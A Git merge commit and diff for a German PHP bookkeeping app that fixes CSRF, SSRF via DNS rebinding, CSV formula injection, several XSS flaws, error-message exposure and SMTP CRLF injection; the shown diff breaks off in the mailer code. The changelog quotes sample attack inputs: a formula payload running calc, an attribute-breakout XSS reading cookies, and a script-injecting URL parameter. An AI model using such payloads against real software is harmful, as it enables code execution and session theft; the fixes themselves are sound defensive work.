Merge pull request 'Fix #136, #130, #131, #132, #133, #135, #142, #148: Sicherheitsfixes (CSRF, SSRF, CSV-Injection, XSS, Error-Handling, SMTP-Injection)' (#146) from fds2610-bot/Steuerkram:main into main
Reviewed-on: https://codeberg.org/fds2610/Steuerkram/pulls/146
This commit is contained in:
commit
a7c63ea645
28 changed files with 755 additions and 31 deletions
59
Changes.md
59
Changes.md
|
|
@ -2,6 +2,65 @@
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 2026-07-30 – Fix: SMTP-Header-/Kommando-Injection über mail_from_email (Issue #148)
|
||||||
|
|
||||||
|
- `SmtpMailer::sendMessage()`/`buildMessage()` verwendeten `fromEmail` roh sowohl im `MAIL FROM:<...>`-SMTP-Kommando als auch im `From:`-Header, während alle anderen dynamischen Werte (Empfänger, `fromName`, `subject`, Anhangsname) bereits validiert bzw. CRLF-bereinigt wurden. `mail_from_email` (Firmeneinstellung, per POST setzbar) durchlief keine serverseitige Prüfung – ein eingeloggter Nutzer konnte per CRLF-Payload zusätzliche SMTP-Kommandos (z.B. eine verdeckte `RCPT TO`-Zeile) einschleusen oder den `From:`-Header manipulieren (CWE-93).
|
||||||
|
- **`src/Models/Setting.php`:** `Setting::update()` validiert `mail_from_email` jetzt über `filter_var(..., FILTER_VALIDATE_EMAIL)` (neue private Methode `sanitizeFromEmail()`); ungültige Werte (inkl. CRLF-Payloads) werden verworfen statt gespeichert.
|
||||||
|
- **`src/Services/SmtpMailer.php`:** Defense-in-Depth – neue Methode `sanitizeAddress()` entfernt CR/LF aus `fromEmail`, bevor dieser im `MAIL FROM:`-Kommando und im `From:`-Header verwendet wird.
|
||||||
|
- **`tests/69_MailFromEmailInjectionTest.php`:** Neuer Test prüft, dass ungültige/CRLF-behaftete Absenderadressen beim Speichern verworfen werden und dass `SmtpMailer::sanitizeAddress()` CR/LF zuverlässig entfernt.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: Produktions-Härtung der PHP-Fehlerausgabe (Issue #142)
|
||||||
|
|
||||||
|
- Das Docker-Image (`php:8.3-apache`) übernahm die kompilierten PHP-Defaults, bei denen `display_errors` aktiviert ist – im offiziellen Image wird `php.ini-production` nicht automatisch aktiviert. In Kombination mit `PDO::ATTR_ERRMODE_EXCEPTION` (`src/Database.php`) und fehlendem globalem Error-Handler hätte jeder unerwartete Fehler (SQL-Fehler, DB-Verbindungsproblem, Typfehler) eine vollständige PHP-Fehlermeldung inkl. Stacktrace, absoluten Serverpfaden und ggf. SQL-Details direkt an den Client ausgegeben (CWE-209, Information Exposure Through an Error Message) – auch für nicht angemeldete Nutzer (`/login` ist vor `Auth::require()` erreichbar).
|
||||||
|
- **`php/error-handling.ini`** (neu): `display_errors = Off`, `display_startup_errors = Off`, `log_errors = On`, `error_reporting = E_ALL & ~E_DEPRECATED`.
|
||||||
|
- **`Dockerfile`:** Kopiert `php/error-handling.ini` zusätzlich zu `php/uploads.ini` nach `/usr/local/etc/php/conf.d/`.
|
||||||
|
- **`public/index.php`:** Registriert ganz zu Beginn (vor Autoload/Routing) `set_error_handler` (wandelt Warnings/Notices in `ErrorException` um), `set_exception_handler` und `register_shutdown_function` (fängt Fatal Errors, die nicht als Exception auftreten). Unerwartete Fehler werden per `error_log` serverseitig geloggt; der Client erhält nur eine generische HTTP-500-Seite ohne Details.
|
||||||
|
- **`tests/68_ProductionErrorHardeningTest.php`:** Neuer Test prüft die Ini-Direktiven, die Dockerfile-Einbindung, die Registrierung der Handler vor dem Autoload sowie dass die an den Client gesendete Fehlerseite keine Exception-Details (Message/Trace/File) enthält.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: Stored XSS über XSLT in hochgeladenen XML-Belegen (Issue #135)
|
||||||
|
|
||||||
|
- `BelegController::serveFile()` liefert Belege mit dem in der DB hinterlegten `mime_type` und `Content-Disposition: inline` unverändert an den Browser aus. Da für Belege `application/xml`/`text/xml` als MIME-Typ erlaubt ist, konnte eine hochgeladene XML-Datei mit eingebettetem `<?xml-stylesheet?>`/`xsl:stylesheet` beim Öffnen über den „Datei öffnen“-Link (`target="_blank"`, kein `download`-Attribut) direkt im Browser (v.a. Firefox) per XSLT-Transformation zu ausführbarem `<script>` im Sicherheitskontext der Anwendung führen (Stored-XSS, CWE-79) – inklusive Zugriff auf das im `<meta>`-Tag liegende CSRF-Token (vgl. #132/#133).
|
||||||
|
- **`src/Controllers/BelegController.php`:** `serveFile()` liefert XML-Belege (`application/xml`/`text/xml`) jetzt mit `Content-Disposition: attachment` statt `inline` aus, sodass der Browser die Datei herunterlädt statt sie zu navigieren/rendern; andere MIME-Typen bleiben unverändert `inline`.
|
||||||
|
- **`public/index.php`:** Globaler `X-Content-Type-Options: nosniff`-Header für alle Responses als zusätzliche Absicherung gegen MIME-Sniffing.
|
||||||
|
- **`tests/67_BelegXmlXsltXssTest.php`:** Neuer Test lädt einen XML-Beleg mit XSLT-Payload an und prüft, dass `serveFile()` den `Content-Disposition`-Header auf `attachment` statt `inline` setzt.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: DOM-XSS in der CSV/XLSX-Vorschau beim Bankimport (Issue #133)
|
||||||
|
|
||||||
|
- `BankController::detectFormat()` liefert die aus einer hochgeladenen Bank-Umsatzdatei geparste `header_row`/`first_data` unverändert als JSON zurück; `src/Views/bank/upload.php` rendert diese Werte per `innerHTML` in ein `title="..."`-Attribut. Die dortige `esc()`-Funktion escapte bisher nur `&`, `<` und `>`, nicht aber `"`. Ein Header-/Zellwert wie `Spalte" onmouseover="alert(document.cookie)` konnte damit aus dem Attribut ausbrechen und beliebigen JavaScript-Code im Kontext des eingeloggten Nutzers ausführen (CWE-79), z.B. um das im `<meta>`-Tag liegende CSRF-Token auszulesen. Bank-Exportdateien stammen typischerweise von Dritten (Bank, per E-Mail zugeschickter Kontoauszug) und sind damit ein realistischer, angreiferkontrollierter Eingabekanal.
|
||||||
|
- **`src/Views/bank/upload.php`:** `esc()` escaped jetzt zusätzlich `"` (zu `"`) und `'` (zu `'`).
|
||||||
|
- **`tests/66_BankUploadPreviewXssTest.php`:** Neuer Test prüft per Quelltext-Check, dass `esc()` Anführungszeichen escaped, und führt die extrahierte JS-Funktion (falls `node` verfügbar ist) mit einem bösartigen Zellwert aus, um zu verifizieren, dass kein Ausbruch aus dem `title`-Attribut mehr möglich ist.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: Reflektiertes XSS über _error-Parameter bei Rechnungs-Zahlungserfassung (Issue #132)
|
||||||
|
|
||||||
|
- `InvoiceController::book()` übernahm den Fehler-Array ungeprüft direkt aus `$_GET['_error']` und reichte ihn an die View weiter. Da `_error` nirgendwo serverseitig befüllt wird und der CSRF-Schutz nur für POST/PUT/DELETE/PATCH greift, konnte ein Angreifer per einfachem Link (`GET /invoices/{id}/book?_error[x]=<script>...`) beliebiges JavaScript im Kontext eines eingeloggten Nutzers ausführen und darüber auch das im `<meta>`-Tag liegende CSRF-Token auslesen.
|
||||||
|
- **`src/Controllers/InvoiceController.php`:** `book()` übernimmt `_error` nicht mehr aus `$_GET`, `$formErrors` startet immer leer.
|
||||||
|
- **`src/Views/invoices/book.php`, `src/Views/belege/detail.php`:** Die Fehleranzeige escaped Schlüssel und Werte jetzt konsequent mit `$h()` (zuvor ungeschütztes `implode`/`array_map`-Pattern, in `belege/detail.php` betrifft dies POST-basierte Fehler aus `BookingController`).
|
||||||
|
- **`tests/65_InvoiceBookReflectedXssTest.php`:** Neuer Test prüft, dass ein `<script>`-Payload in `$_GET['_error']` nicht mehr unescaped in der Ausgabe von `InvoiceController::book()` erscheint.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: CSV-Formel-Injection im Anlagelisten-Export (Issue #131)
|
||||||
|
|
||||||
|
- `EuerController::anlageCsv()` schrieb `assets.bezeichnung` (frei editierbarer Text) ungefiltert per `fputcsv()` in die exportierte `Anlageliste-{year}.csv`. Eine Bezeichnung wie `=cmd|'/c calc'!A1` konnte beim Öffnen der CSV in Excel/LibreOffice zu Formelausführung führen (CSV-/Formel-Injection, CWE-1236). `BelegController`/`BookingController` waren dank eigener, privater `csvSanitize()`-Methoden bereits abgesichert.
|
||||||
|
- **`src/Controllers/BaseController.php`:** Die bisher in `BelegController` und `BookingController` duplizierte `csvSanitize()`-Methode wurde als gemeinsame `protected` Methode hierher verschoben (Präfix `'` bei führendem `=`, `+`, `-` oder `@`).
|
||||||
|
- **`src/Controllers/EuerController.php`:** `anlageCsv()` sanitisiert `bezeichnung` jetzt über `$this->csvSanitize()`.
|
||||||
|
- **`src/Controllers/BelegController.php`, `src/Controllers/BookingController.php`:** Duplizierte private `csvSanitize()`-Methoden entfernt, nutzen jetzt die geerbte Methode aus `BaseController`.
|
||||||
|
- **`tests/64_AnlageCsvInjectionTest.php`:** Neuer Test prüft, dass eine Anlagenbezeichnung mit führendem `=` im CSV-Export mit vorangestelltem `'` maskiert wird.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: SSRF-Schutz per DNS-Rebinding umgehbar (TOCTOU) (Issue #130)
|
||||||
|
|
||||||
|
- `SsrfGuard::assertPublicHttpsUrl()` löste den Hostnamen einmalig auf und prüfte die IPs, der eigentliche Request (cURL bzw. `php-fints`) löste den Hostnamen aber später erneut selbst auf. Ein Angreifer mit Kontrolle über die DNS-Antworten der konfigurierten Domain konnte zwischen Prüfung und Request von einer öffentlichen auf eine interne IP (127.0.0.1, internes Netz, Cloud-Metadata) umschalten und so die SSRF-Prüfung aus #127/#118 umgehen.
|
||||||
|
- **`src/Services/SsrfGuard.php`:** Neue Methode `resolvePinned()` gibt zusätzlich zur Validierung die geprüften IP-Adressen als `CURLOPT_RESOLVE`-Einträge (`HOST:PORT:IP`) zurück; `assertPublicHttpsUrl()` bleibt als Wrapper bestehen.
|
||||||
|
- **`src/Services/NextcloudImportService.php`:** Der Konstruktor pinnt die geprüfte(n) IP(s) der `nextcloud_url` einmalig; `newCurl()` setzt `CURLOPT_RESOLVE`, sodass alle cURL-Requests (PROPFIND/GET/MOVE/DELETE) den Hostnamen nicht erneut über den System-Resolver auflösen.
|
||||||
|
- **`src/Services/FinTsFetchService.php`:** `php-fints` löst den Hostnamen selbst auf (kein IP-Pinning möglich) – die SSRF-Prüfung wird daher zusätzlich unmittelbar vor dem ersten tatsächlichen Request (nach `FinTs::new()`) wiederholt, um das Zeitfenster für DNS-Rebinding zu minimieren.
|
||||||
|
- **`tests/63_SsrfPinningTest.php`:** Neuer Test prüft `SsrfGuard::resolvePinned()` (Einträge für Hostnamen, leeres Ergebnis + weiterhin Ablehnung für IP-Literale) sowie das Pinning in `NextcloudImportService`.
|
||||||
|
|
||||||
|
## 2026-07-27 – Fix: CSRF-Schutz für GET /bank/direkt/{id}/run (Issue #136)
|
||||||
|
|
||||||
|
- Der SSE-Endpunkt `GET /bank/direkt/{id}/run` löste einen echten Bankabruf (PayPal/FinTS) allein anhand der Session aus, ohne CSRF-Prüfung – da `EventSource` nur `GET` unterstützt, griff die bestehende CSRF-Middleware (nur für `POST`/`PUT`/`DELETE`/`PATCH`) nicht. Ein Angreifer konnte per Top-Level-Navigation (SameSite=Lax) einen eingeloggten Nutzer dazu bringen, unbeabsichtigt einen Abruf für eine beliebige Verbindungs-ID auszulösen.
|
||||||
|
- **`src/Auth.php`:** `validateCsrfToken()` prüft jetzt über die neue, seiteneffektfreie `isValidCsrfToken()` (analog zu `cookieParams()`), damit sich die Vergleichslogik isoliert testen lässt.
|
||||||
|
- **`src/Controllers/BankController.php`:** `direktRun()` validiert vor dem eigentlichen Abruf das per `csrf_token`-Query-Parameter übergebene Token gegen die Session.
|
||||||
|
- **`src/Views/bank/fints.php`:** Die `EventSource`-URL hängt das bereits vorhandene, in der Seite eingebettete CSRF-Token (`meta[name="csrf-token"]`) als Query-Parameter an.
|
||||||
|
- **`tests/62_BankDirektRunCsrfTest.php`:** Neuer Test prüft `Auth::isValidCsrfToken()` gegen korrektes, falsches, leeres und fehlendes Session-Token.
|
||||||
|
|
||||||
## 2026-07-27 – Feature: Netto/Brutto-Umschalter in der Buchungsmaske (Issue #137)
|
## 2026-07-27 – Feature: Netto/Brutto-Umschalter in der Buchungsmaske (Issue #137)
|
||||||
|
|
||||||
- Beim Erfassen einer Buchung musste bisher immer der Nettobetrag eingegeben werden – lag nur der Bruttobetrag vor (z. B. von einem Kassenbon), führte die manuelle Rückrechnung regelmäßig zu Rundungsdifferenzen.
|
- Beim Erfassen einer Buchung musste bisher immer der Nettobetrag eingegeben werden – lag nur der Bruttobetrag vor (z. B. von einem Kassenbon), führte die manuelle Rückrechnung regelmäßig zu Rundungsdifferenzen.
|
||||||
|
|
|
||||||
|
|
@ -30,6 +30,7 @@ COPY . .
|
||||||
|
|
||||||
# PHP configuration
|
# PHP configuration
|
||||||
COPY php/uploads.ini /usr/local/etc/php/conf.d/uploads.ini
|
COPY php/uploads.ini /usr/local/etc/php/conf.d/uploads.ini
|
||||||
|
COPY php/error-handling.ini /usr/local/etc/php/conf.d/error-handling.ini
|
||||||
|
|
||||||
# Apache configuration
|
# Apache configuration
|
||||||
COPY apache/steuerkram.conf /etc/apache2/sites-available/000-default.conf
|
COPY apache/steuerkram.conf /etc/apache2/sites-available/000-default.conf
|
||||||
|
|
|
||||||
6
php/error-handling.ini
Normal file
6
php/error-handling.ini
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
; Produktions-Härtung: keine Fehlerdetails (Stacktraces, Pfade, SQL-Fehler) an Clients ausgeben.
|
||||||
|
; Fehler werden stattdessen serverseitig geloggt (Apache-Errorlog).
|
||||||
|
display_errors = Off
|
||||||
|
display_startup_errors = Off
|
||||||
|
log_errors = On
|
||||||
|
error_reporting = E_ALL & ~E_DEPRECATED
|
||||||
|
|
@ -2,10 +2,56 @@
|
||||||
|
|
||||||
declare(strict_types=1);
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
// ── Zentraler Fehler-Handler ─────────────────────────────────────
|
||||||
|
// Fängt unerwartete Fehler/Exceptions ab, loggt sie serverseitig und
|
||||||
|
// zeigt dem Client nur eine generische 500-Seite ohne Details
|
||||||
|
// (Stacktrace, Pfade, SQL-Fehler) – siehe auch php/error-handling.ini.
|
||||||
|
$steuerkramShowGenericError = static function (): void {
|
||||||
|
if (!headers_sent()) {
|
||||||
|
http_response_code(500);
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
}
|
||||||
|
echo '<!DOCTYPE html><html lang="de"><head><meta charset="utf-8">'
|
||||||
|
. '<title>Fehler</title></head>'
|
||||||
|
. '<body style="font-family:sans-serif;text-align:center;padding:4rem">'
|
||||||
|
. '<h1>Ein Fehler ist aufgetreten</h1>'
|
||||||
|
. '<p>Bitte versuchen Sie es später erneut.</p>'
|
||||||
|
. '</body></html>';
|
||||||
|
};
|
||||||
|
|
||||||
|
set_error_handler(static function (int $severity, string $message, string $file, int $line): bool {
|
||||||
|
if (!(error_reporting() & $severity)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
throw new \ErrorException($message, 0, $severity, $file, $line);
|
||||||
|
});
|
||||||
|
|
||||||
|
set_exception_handler(function (\Throwable $e) use ($steuerkramShowGenericError): void {
|
||||||
|
error_log(sprintf(
|
||||||
|
'Unhandled exception: %s in %s:%d%s%s',
|
||||||
|
$e->getMessage(),
|
||||||
|
$e->getFile(),
|
||||||
|
$e->getLine(),
|
||||||
|
PHP_EOL,
|
||||||
|
$e->getTraceAsString()
|
||||||
|
));
|
||||||
|
$steuerkramShowGenericError();
|
||||||
|
});
|
||||||
|
|
||||||
|
register_shutdown_function(function () use ($steuerkramShowGenericError): void {
|
||||||
|
$error = error_get_last();
|
||||||
|
if ($error !== null && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) {
|
||||||
|
error_log(sprintf('Fatal error: %s in %s:%d', $error['message'], $error['file'], $error['line']));
|
||||||
|
$steuerkramShowGenericError();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
define('BASE_DIR', dirname(__DIR__));
|
define('BASE_DIR', dirname(__DIR__));
|
||||||
|
|
||||||
require BASE_DIR . '/vendor/autoload.php';
|
require BASE_DIR . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
header('X-Content-Type-Options: nosniff');
|
||||||
|
|
||||||
// Cache-Buster für statische Assets: Git-Commit-Hash aus Datei lesen
|
// Cache-Buster für statische Assets: Git-Commit-Hash aus Datei lesen
|
||||||
$_assetVersionFile = BASE_DIR . '/public/static/.asset-version';
|
$_assetVersionFile = BASE_DIR . '/public/static/.asset-version';
|
||||||
define('ASSET_VERSION', file_exists($_assetVersionFile) ? trim(file_get_contents($_assetVersionFile)) : 'dev');
|
define('ASSET_VERSION', file_exists($_assetVersionFile) ? trim(file_get_contents($_assetVersionFile)) : 'dev');
|
||||||
|
|
|
||||||
13
src/Auth.php
13
src/Auth.php
|
|
@ -102,10 +102,19 @@ class Auth
|
||||||
public static function validateCsrfToken(string $token): void
|
public static function validateCsrfToken(string $token): void
|
||||||
{
|
{
|
||||||
self::startSession();
|
self::startSession();
|
||||||
$stored = $_SESSION['csrf_token'] ?? '';
|
if (!self::isValidCsrfToken($token)) {
|
||||||
if ($stored === '' || !hash_equals($stored, $token)) {
|
|
||||||
http_response_code(403);
|
http_response_code(403);
|
||||||
exit('CSRF-Token ungültig.');
|
exit('CSRF-Token ungültig.');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reiner Vergleich ohne session_start()-Seiteneffekt, damit sich die
|
||||||
|
* Prüflogik isoliert testen lässt (siehe cookieParams()).
|
||||||
|
*/
|
||||||
|
public static function isValidCsrfToken(string $token): bool
|
||||||
|
{
|
||||||
|
$stored = $_SESSION['csrf_token'] ?? '';
|
||||||
|
return $stored !== '' && hash_equals($stored, $token);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -4,6 +4,7 @@ declare(strict_types=1);
|
||||||
|
|
||||||
namespace Steuerkram\Controllers;
|
namespace Steuerkram\Controllers;
|
||||||
|
|
||||||
|
use Steuerkram\Auth;
|
||||||
use Steuerkram\Config;
|
use Steuerkram\Config;
|
||||||
use Steuerkram\Models\BankProvider;
|
use Steuerkram\Models\BankProvider;
|
||||||
use Steuerkram\Models\BankSource;
|
use Steuerkram\Models\BankSource;
|
||||||
|
|
@ -510,6 +511,8 @@ class BankController extends BaseController
|
||||||
|
|
||||||
public function direktRun(array $params): void
|
public function direktRun(array $params): void
|
||||||
{
|
{
|
||||||
|
Auth::validateCsrfToken((string)($_GET['csrf_token'] ?? ''));
|
||||||
|
|
||||||
$id = (int)($params['id'] ?? 0);
|
$id = (int)($params['id'] ?? 0);
|
||||||
$source = BankSource::find($id);
|
$source = BankSource::find($id);
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -13,4 +13,15 @@ class BaseController
|
||||||
include dirname(__DIR__) . '/Views/' . $template . '.php';
|
include dirname(__DIR__) . '/Views/' . $template . '.php';
|
||||||
return ob_get_clean();
|
return ob_get_clean();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verhindert CSV-/Formel-Injection: stellt bei führendem =, +, - oder @ ein ' voran.
|
||||||
|
*/
|
||||||
|
protected function csvSanitize(string $value): string
|
||||||
|
{
|
||||||
|
if ($value !== '' && in_array($value[0], ['=', '+', '-', '@'], true)) {
|
||||||
|
return "'" . $value;
|
||||||
|
}
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -323,8 +323,13 @@ class BelegController extends BaseController
|
||||||
}
|
}
|
||||||
if (!file_exists($realPath)) { http_response_code(404); return; }
|
if (!file_exists($realPath)) { http_response_code(404); return; }
|
||||||
|
|
||||||
|
// XML kann eingebettete XSLT-Stylesheets enthalten, die bei Inline-Anzeige
|
||||||
|
// im Browser (v.a. Firefox) als Stored-XSS ausgeführt würden -> Download erzwingen.
|
||||||
|
$isXml = in_array($beleg['mime_type'], ['application/xml', 'text/xml'], true);
|
||||||
|
$disposition = $isXml ? 'attachment' : 'inline';
|
||||||
|
|
||||||
header('Content-Type: ' . $beleg['mime_type']);
|
header('Content-Type: ' . $beleg['mime_type']);
|
||||||
header('Content-Disposition: inline; filename="' . $beleg['filename'] . '"');
|
header('Content-Disposition: ' . $disposition . '; filename="' . $beleg['filename'] . '"');
|
||||||
header('Content-Length: ' . filesize($realPath));
|
header('Content-Length: ' . filesize($realPath));
|
||||||
readfile($realPath);
|
readfile($realPath);
|
||||||
}
|
}
|
||||||
|
|
@ -485,12 +490,4 @@ class BelegController extends BaseController
|
||||||
Beleg::updateHash($id, hash_file('sha256', $absPath));
|
Beleg::updateHash($id, hash_file('sha256', $absPath));
|
||||||
echo json_encode(['ok' => true]);
|
echo json_encode(['ok' => true]);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function csvSanitize(string $value): string
|
|
||||||
{
|
|
||||||
if ($value !== '' && in_array($value[0], ['=', '+', '-', '@'], true)) {
|
|
||||||
return "'" . $value;
|
|
||||||
}
|
|
||||||
return $value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -330,13 +330,5 @@ class BookingController extends BaseController
|
||||||
View::redirect('/journal', $e->getMessage(), 'error');
|
View::redirect('/journal', $e->getMessage(), 'error');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private function csvSanitize(string $value): string
|
|
||||||
{
|
|
||||||
if ($value !== '' && in_array($value[0], ['=', '+', '-', '@'], true)) {
|
|
||||||
return "'" . $value;
|
|
||||||
}
|
|
||||||
return $value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -116,7 +116,7 @@ class EuerController extends BaseController
|
||||||
|
|
||||||
fputcsv($out, [
|
fputcsv($out, [
|
||||||
$al['anlage_nr'] ?: $al['lfd_nr'],
|
$al['anlage_nr'] ?: $al['lfd_nr'],
|
||||||
$al['bezeichnung'],
|
$this->csvSanitize((string)$al['bezeichnung']),
|
||||||
$fmtDate($al['anschaffungsdatum']),
|
$fmtDate($al['anschaffungsdatum']),
|
||||||
$fmtNum($al['basis']),
|
$fmtNum($al['basis']),
|
||||||
$nd,
|
$nd,
|
||||||
|
|
|
||||||
|
|
@ -367,7 +367,7 @@ class InvoiceController extends BaseController
|
||||||
|
|
||||||
$bookings = Booking::forBeleg((int)$invoice['beleg_id']);
|
$bookings = Booking::forBeleg((int)$invoice['beleg_id']);
|
||||||
$accounts = Account::all(['aktiv' => 1]);
|
$accounts = Account::all(['aktiv' => 1]);
|
||||||
$formErrors = $_GET['_error'] ?? [];
|
$formErrors = [];
|
||||||
$formData = [];
|
$formData = [];
|
||||||
|
|
||||||
$view = new View();
|
$view = new View();
|
||||||
|
|
|
||||||
|
|
@ -85,7 +85,7 @@ class Setting
|
||||||
$data['mail_smtp_user'] ?: '',
|
$data['mail_smtp_user'] ?: '',
|
||||||
!empty($data['mail_smtp_pass']) ? Crypto::encrypt($data['mail_smtp_pass']) : '',
|
!empty($data['mail_smtp_pass']) ? Crypto::encrypt($data['mail_smtp_pass']) : '',
|
||||||
$data['mail_from_name'] ?: '',
|
$data['mail_from_name'] ?: '',
|
||||||
$data['mail_from_email'] ?: '',
|
self::sanitizeFromEmail($data['mail_from_email'] ?? ''),
|
||||||
$data['mail_subject_template'] ?: 'Rechnung %RNR%',
|
$data['mail_subject_template'] ?: 'Rechnung %RNR%',
|
||||||
$data['mail_body_template'] ?: null,
|
$data['mail_body_template'] ?: null,
|
||||||
max(50, (int)($data['logo_max_width'] ?? 600)),
|
max(50, (int)($data['logo_max_width'] ?? 600)),
|
||||||
|
|
@ -99,6 +99,16 @@ class Setting
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validiert die Absender-Adresse; bei ungültiger Eingabe wird der Wert verworfen,
|
||||||
|
* damit kein CRLF-Payload als SMTP-Kommando/Header injiziert werden kann (CWE-93).
|
||||||
|
*/
|
||||||
|
private static function sanitizeFromEmail(string $value): string
|
||||||
|
{
|
||||||
|
$value = trim($value);
|
||||||
|
return filter_var($value, FILTER_VALIDATE_EMAIL) !== false ? $value : '';
|
||||||
|
}
|
||||||
|
|
||||||
public static function setLogo(string $path): void
|
public static function setLogo(string $path): void
|
||||||
{
|
{
|
||||||
Database::execute('UPDATE company_settings SET logo_path=? WHERE id=1', [$path]);
|
Database::execute('UPDATE company_settings SET logo_path=? WHERE id=1', [$path]);
|
||||||
|
|
|
||||||
|
|
@ -95,6 +95,18 @@ class FinTsFetchService
|
||||||
}
|
}
|
||||||
$fints = $this->fints;
|
$fints = $this->fints;
|
||||||
|
|
||||||
|
// Erneute Prüfung unmittelbar vor dem ersten tatsächlichen Request: php-fints
|
||||||
|
// löst den Hostnamen beim Verbindungsaufbau selbst über den System-Resolver auf
|
||||||
|
// (kein IP-Pinning wie bei den selbst gesteuerten cURL-Aufrufen in
|
||||||
|
// NextcloudImportService möglich) – die zweite Prüfung minimiert das Zeitfenster
|
||||||
|
// für DNS-Rebinding zwischen Validierung und Verbindungsaufbau (siehe Issue #130).
|
||||||
|
try {
|
||||||
|
SsrfGuard::assertPublicHttpsUrl($url);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$log('FEHLER: Unzulässige FinTS-URL – ' . $e->getMessage());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
$log('TAN-Verfahren werden ermittelt…');
|
$log('TAN-Verfahren werden ermittelt…');
|
||||||
try {
|
try {
|
||||||
$tanModes = $fints->getTanModes();
|
$tanModes = $fints->getTanModes();
|
||||||
|
|
|
||||||
|
|
@ -49,6 +49,8 @@ class NextcloudImportService
|
||||||
private string $davBase;
|
private string $davBase;
|
||||||
private array $pendingEvents = [];
|
private array $pendingEvents = [];
|
||||||
private string|null $configError = null;
|
private string|null $configError = null;
|
||||||
|
/** @var string[] CURLOPT_RESOLVE-Einträge für die beim Konstruieren geprüfte(n) IP(s) von baseUrl */
|
||||||
|
private array $pinnedResolve = [];
|
||||||
|
|
||||||
public function __construct()
|
public function __construct()
|
||||||
{
|
{
|
||||||
|
|
@ -61,10 +63,14 @@ class NextcloudImportService
|
||||||
$this->doneFolder = $doneRaw !== '' ? ('/' . trim($doneRaw, '/')) : null;
|
$this->doneFolder = $doneRaw !== '' ? ('/' . trim($doneRaw, '/')) : null;
|
||||||
|
|
||||||
// Defensiv geprüft, auch wenn die URL beim Speichern in den Einstellungen
|
// Defensiv geprüft, auch wenn die URL beim Speichern in den Einstellungen
|
||||||
// bereits validiert wurde (Schutz gegen SSRF, siehe SsrfGuard).
|
// bereits validiert wurde (Schutz gegen SSRF, siehe SsrfGuard). Die dabei
|
||||||
|
// geprüften IP-Adressen werden für alle cURL-Requests dieser Instanz fest
|
||||||
|
// angebunden (CURLOPT_RESOLVE in newCurl()), damit cURL den Hostnamen nicht
|
||||||
|
// zu einem späteren Zeitpunkt erneut selbst auflöst (DNS-Rebinding/TOCTOU,
|
||||||
|
// siehe Issue #130).
|
||||||
if ($this->baseUrl !== '') {
|
if ($this->baseUrl !== '') {
|
||||||
try {
|
try {
|
||||||
SsrfGuard::assertPublicHttpsUrl($this->baseUrl);
|
$this->pinnedResolve = SsrfGuard::resolvePinned($this->baseUrl);
|
||||||
} catch (\RuntimeException $e) {
|
} catch (\RuntimeException $e) {
|
||||||
$this->configError = 'Nextcloud-URL ungültig: ' . $e->getMessage();
|
$this->configError = 'Nextcloud-URL ungültig: ' . $e->getMessage();
|
||||||
$this->baseUrl = '';
|
$this->baseUrl = '';
|
||||||
|
|
@ -401,6 +407,12 @@ class NextcloudImportService
|
||||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
|
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
|
||||||
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
|
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
|
||||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
|
||||||
|
if (!empty($this->pinnedResolve)) {
|
||||||
|
// Host fest auf die beim Konstruieren geprüfte(n) IP(s) anbinden, statt
|
||||||
|
// ihn erneut über den System-Resolver aufzulösen (DNS-Rebinding-Schutz,
|
||||||
|
// siehe SsrfGuard::resolvePinned()). Host-Header/SNI bleiben unverändert.
|
||||||
|
curl_setopt($ch, CURLOPT_RESOLVE, $this->pinnedResolve);
|
||||||
|
}
|
||||||
return $ch;
|
return $ch;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -122,7 +122,7 @@ class SmtpMailer
|
||||||
?string $attachContent,
|
?string $attachContent,
|
||||||
?string $attachName,
|
?string $attachName,
|
||||||
): void {
|
): void {
|
||||||
$this->cmd('MAIL FROM:<' . $this->fromEmail . '>');
|
$this->cmd('MAIL FROM:<' . $this->sanitizeAddress($this->fromEmail) . '>');
|
||||||
$this->expect(250);
|
$this->expect(250);
|
||||||
|
|
||||||
foreach ($to as $addr) {
|
foreach ($to as $addr) {
|
||||||
|
|
@ -150,7 +150,7 @@ class SmtpMailer
|
||||||
?string $attachName,
|
?string $attachName,
|
||||||
): string {
|
): string {
|
||||||
$date = date('r');
|
$date = date('r');
|
||||||
$fromHdr = $this->encodeHeader($this->fromName) . ' <' . $this->fromEmail . '>';
|
$fromHdr = $this->encodeHeader($this->fromName) . ' <' . $this->sanitizeAddress($this->fromEmail) . '>';
|
||||||
$toHdr = implode(', ', $to);
|
